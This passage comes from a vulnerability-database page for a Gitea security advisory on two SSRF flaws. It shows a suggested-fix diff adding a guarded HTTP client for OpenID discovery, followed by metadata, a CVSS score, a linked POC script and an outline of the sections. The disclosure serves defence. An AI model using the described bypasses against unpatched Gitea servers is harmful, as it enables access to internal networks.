\"github.com/yohcop/openid-go\"\n+import (\n+\t\"net/http\"\n+\t\"time\"\n+\n+\t\"code.gitea.io/gitea/modules/hostmatcher\"\n+\t\"code.gitea.io/gitea/modules/proxy\"\n+\t\"github.com/yohcop/openid-go\"\n+)\n\n var (\n \tnonceStore     = openid.NewSimpleNonceStore()\n \tdiscoveryCache = newTimedDiscoveryCache(24 * time.Hour)\n+\tinstance       = openid.NewOpenID(\u0026http.Client{\n+\t\tTimeout: 30 * time.Second,\n+\t\tTransport: \u0026http.Transport{\n+\t\t\tProxy: proxy.Proxy(),\n+\t\t\tDialContext: hostmatcher.NewDialContext(\"openid\",\n+\t\t\t\thostmatcher.ParseHostMatchList(\"openid\", hostmatcher.MatchBuiltinExternal),\n+\t\t\t\tnil, nil),\n+\t\t},\n+\t})\n )\n\n func Verify(fullURL string) (id string, err error) {\n-\treturn openid.Verify(fullURL, discoveryCache, nonceStore)\n+\treturn instance.Verify(fullURL, discoveryCache, nonceStore)\n }\n\n // RedirectURL redirects browser\n func RedirectURL(id, callbackURL, realm string) (string, error) {\n-\treturn openid.RedirectURL(id, callbackURL, realm)\n+\treturn instance.RedirectURL(id, callbackURL, realm)\n }\n```\n\n`openid.Normalize` does not perform HTTP and does not need to change. Once Finding 1 is fixed, this `MatchBuiltinExternal` instance picks up the new prefix coverage automatically.\n\n---\n\n## POC script\n[run_poc.sh](https://github.com/user-attachments/files/28193359/run_poc.sh)",
  "id": "GHSA-2fcr-jfvc-vgg2",
  "modified": "2026-07-21T21:16:00Z",
  "published": "2026-07-21T21:16:00Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/security/advisories/GHSA-2fcr-jfvc-vgg2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-gitea/gitea"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/releases/tag/v1.27.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Gitea: Two SSRF findings"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.

Action not permitted

CVE-2026-58314 (GCVE-0-2026-58314)

GHSA-2FCR-JFVC-VGG2

Summary

Finding 1: hostmatcher classifier passes CGNAT and IPv6 transition prefixes

The bug

Reachable sinks

History

Reproduce

Suggested fix

Finding 2: OpenID discovery has no SSRF guard

The bug

Default exposure

History

Reproduce

Suggested fix

POC script

Tags

Sightings

Nomenclature